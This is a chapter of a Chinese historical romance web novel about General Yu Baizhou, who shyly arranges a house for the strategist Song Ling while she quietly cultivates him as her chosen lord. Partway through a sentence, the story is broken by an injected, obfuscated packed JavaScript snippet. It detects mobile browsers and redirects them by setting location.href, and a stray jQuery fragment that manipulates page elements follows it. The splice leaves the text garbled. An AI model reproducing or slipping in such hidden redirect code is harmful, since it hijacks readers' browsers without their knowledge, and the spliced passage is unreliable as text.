卫宴气喘吁吁冲进营帐里,“将军,宋姑娘几人回来了。”
“在哪?”
“适才我刚遇上,如今许是已经到了营帐。”卫宴欲指向外面的手刚刚抬起,就感觉一阵风吹过,他们将军已经消失在了营帐中。
伍生抱着那个女娃站在宋泠的营帐门口处,七满手中持着拨浪鼓逗她,只惹得女娃咯咯笑。
“见过将军。”伍生虽然抱着孩子不方便,但也还是微微低头示意。反倒是七满,直接一个白眼连理都不带理的。
虞柏舟也不想自讨没趣,直问伍生道:“你们姑娘可在里头?”
“在是在……可姑娘还在更衣。”
虞柏舟原本想迈出去的半只脚又悄摸收了回来,面色也有些赧意,“那过几刻钟我再来。”
伍生刚想点头,身后的门帘却突然被掀开一角,宋泠淡然瞥了几人一眼道:“将军进来吧,七满也进来。”
***
七满又闭上眼睛一个人躲到角落去装鹌鹑,唯留下虞柏舟在一旁坐立难安。
看着宋泠安静地泡茶,他几经欲言又止。毕竟两日前他们还不欢而散,确切得说是他单方面同她不欢而散,且那日他的态度属实说不上好。
“你……”
刚鼓起的勇气却一下子被打断,只听她突然来了一句,“将军可要吃块糕点?”
“什么?”
虞将军还未反应过来,宋泠就已经将身旁那一食盒打开,里面是几盘颜色各异、样式精致的糕点。
宋泠端出一盘桂花栗子糕递到他的面前。
原本想要拒绝的话到嘴边又转了个弯,“那就、尝尝吧。”
捏了一块放置嘴里,板栗的浓香混着淡淡的桂花清甜在嘴里炸开。
虞柏舟向来不太喜欢这些甜食,只觉得太甜太腻味,此刻却突然发觉这糕点细细品来甜香软糯,倒也不错。
宋泠适时递过来一杯清茶,“待会将军把食盒带回去吧,这些都是为将军带的。”
虞柏舟顿了一瞬,“为何?”
“不为何,”宋泠坐到他对面的凳子上,饮茶时微微垂眸遮住了眼底的小算计,“无非是觉得将军久待军营练兵,甚少去郡县中。昨日泠尝这糕点觉得味道尚可,于是便想着也带给将军尝一尝。”
虞柏舟心底涌上一股不知何意的感觉,怪暖和的,让人难以忽略。
“那晚的态度不好,我跟你赔不是。”
谁料宋泠却摇了摇头,“将军无错,不必如此。”
还不等他欲再解释,她补充道:“泠是谋士,身在乱世里自然想要扶持一位主公匡扶世道;而将军身为守将,自然希望护好南疆的百姓。”
“你我二人无非是目的各异、理念有所出入,谈不上谁对谁错。”
理好像是这个理,可虞将军竟然从她话中听出莫名一丝伤感来,他忽然意识到了什么,“你要走了?”
“将军无意,泠自然也没脸在军营继续待下去。”宋泠微微一笑。
虞柏舟嘴唇微张,竟也不知道再说些什么。这姑娘放弃了自己的想法,他也不用担心她走上西南军老谋士的老路了,他不应该开心吗?
可好像……也并未有那么愉悦。
“那你要归家吗?”
宋泠愣了一瞬没有回复,远处的七满捕捉归家这一词时也垂眸不知在思考些什么。
“没有,”宋泠摇了摇头苦笑道:“我自幼便是孤儿。”
虞柏舟放于身侧的手动了动,他好像说错了话。他大概是能理解这姑娘感受的,毕竟他也在十多岁时就成了孤身一人。
“抱歉。”
“无碍,”宋泠将眼底的落寞掩下,“都是猴年马月的事了,不足挂齿。”
虞柏舟却看穿了她坚强下的一丝悲伤,“不若你先留下,我在离着近的库里县上有一处宅院。”
“也不常去,你们可先去住下……”
“这会不会太麻烦将军?”宋泠眉头微皱,有些难为情道,“虽说如今我名义上成了将军的谋士,可还是不太合适……”
“无碍,姑娘刚刚帮了我们将士的大忙,这是应该的。”虞柏舟摸了摸鼻子,“你们安心住下就行,等日后……日后再说。”
“那就在此谢过将军了。”宋泠微微一笑,“我想将那个孩子带在身边教她读书认字,将军意下如何?”
虞柏舟心想也行,毕竟在军营里谁也没功夫照顾一个奶娃娃,“那就依你所言。”
“将军可还有事?”
“我?没事了。”虞将军还纳闷着,为何事情发展到了这一步。
“那将军坐下喝杯茶吧。”
原来适才他闻言宋泠欲离开时,竟然不自觉站了起来。
如今反应过来时,脸上也有些赧然,只是皮肤颜色深一些倒也瞧不出来。
宋泠见他一个人呆呆地也不说话,就抱着茶杯一个劲得喝。
不禁心里叹了一口气道:“将军,这是补茶,喝多了容易不舒服……”
“啊?”虞柏舟一个手没拿稳,茶水都晃了出来,幸而反应快接得准,没叫这精细的茶杯摔坏。
他悻悻把杯子放回原处。
“那我、先回去。”虞柏舟站起身来绊绊磕磕道:“你舟途劳顿,多休息休息。”
“那处宅院明日我先派人去收拾一番,你莫急。”
“好,”宋泠微笑着道:“午后我去寻将军商议一点要事。”
看着她原本清冷的眸子突然专注地望向他,虞柏舟心底莫名一慌,实在待不住,只得应了一声匆匆离开营帐。
任谁也能瞧出几分落荒而逃的意味。
“啧啧啧……”七满走了过来,“这虞将军还真是面皮薄,这都遭不住。”
“姑娘也是,这天下的将军又不是只他一个,何至于折了自己连美人计都用上了?”
以她家姑娘的心眼子,若说适才的示弱和引导不是故意的她才不信呢。可这么个糙将军,哪里配了?
“慎言,”宋泠恢复了往日里的沉稳无情,“七满,谋大事者不拘小节。”
可又过了一会,她又无奈叹了一口气道:“我没得选,你也莫要学我。”
“哪里没得选?”七满鼓着腮帮子不服气道:“先前在洛阳遇上的武安侯,他不也是个守边的将军?且还有个侯爷的身份。”
“无非是一个守北,一个守南。”要她看来,真扶持武安候还更容易呢,朝廷一个不察就能从北边长驱直入攻下洛阳。
“呵,”宋泠被她逗的一笑,“你当我没有想过吗?”
“还是说,以为我先去京绕一大圈子真的只是为了救下苏大人这么简
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294344|167075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单?”
七满疑惑看向她,难道不是么。
宋泠摇了摇头,没再多言。
先前去洛阳,自是因为她一开始就知道若能辅佐长公主或武安侯中任一人,都比虞将军来得事半功倍。
可令她无奈的是,这二人都是难得的痴情种。纵使她们二人不是那种为了小我而放弃大局之人,宋泠也不敢赌。
不是她没那个能力,而是所要耗费的人力和……时间太长,她等不得。
虞将军至少比那二人……纯朴一些,顾全大局又听得进去意见,光这一点就比那二人强上不少。况且,西南远离洛阳,消息传递慢,她能操作的空间更大一些。
可如今唯令她有些头疼的是,这位她认定的主公性子太倔,以及……唉。
宋泠突然觉得有些头疼,也头一次产生出了无力感与后悔来,深感前路漫漫,道阻且长。
***
而适才匆匆走出宋泠营帐的虞柏舟回了自己营帐一趟又很快出来,也没去训练场,而是径直钻进卫宴的帐子里。
卫宴还在笑眯眯清点那日带回来的银两,就见他家将军鬼鬼祟祟的模样感到颇为好笑。
“将军这是……躲猫猫?”
脑海中不由得冒出这么个词来,没成想嘴一秃噜就说了出来。
虞柏舟颇为无语,但也顾不上旁的,从怀里掏出一沓银钱来递给他,“景和,烦请你帮我去库里县购置一处宅院。”
卫宴下意识接过来才察觉不对,“从前我提起来时,将军总说浪费银钱没那个必要。怎的今日突然又心血来潮要买一处宅院?”
“莫管那么多了,悄摸弄。”虞柏舟摸摸后脑勺不知又想起来什么,“最好今明两日买好收拾出来。”
卫宴挑了挑眉毛,“这么急?将军急着住?”
“还是有人急着住?”
难得将军求他办事,结合这几日将军的行为大概猜到什么的卫宴难突然了逗弄的心思,“将军不同我说明白,我可没法去办呢。”
虞柏舟咬紧牙关,把银钱抢了回来,“我去找军医,又不是只有你懂这些!”
“哎——”卫宴拦住他的脚步,将那银钱又拽回来,“将军何必舍近求远?怎么不去找宋姑娘呢?她一看就比在下更懂这些。”
“莫不是,这宅院就是给人家宋姑娘住的吧……呜呜呜……”
虞柏舟大手紧紧捂着他的嘴,警告道:“不准出去乱说!”
得到他肯定的眼神后,虞柏舟才松开手,顺道解释了几句:“这些日子宋姑娘帮我们那么多,加之她们女子呆在军营终究是不便,还有那个孩子……在县里也能养得好些。”
至于他同宋泠之间的那些矛盾,他忽略过去不想说。
“她以为我有一处宅院才答应住下的,你莫要在她跟前给我说漏了嘴。”
卫宴看他家将军尴尬的模样心底了然,“明白明白。”
看他家将军如今的模样,怕还是没觉出自己的异样吧。
他大概能想象到,日后枯燥的军营生活怕是能多不少乐子。
而作为一名合格的参军,此刻他总得把自家将军从赧然的状态中拉出来,“将军可为女儿起好了名字?”
“什么?”
虞柏舟一愣,好像忘了。
可他也没经验啊。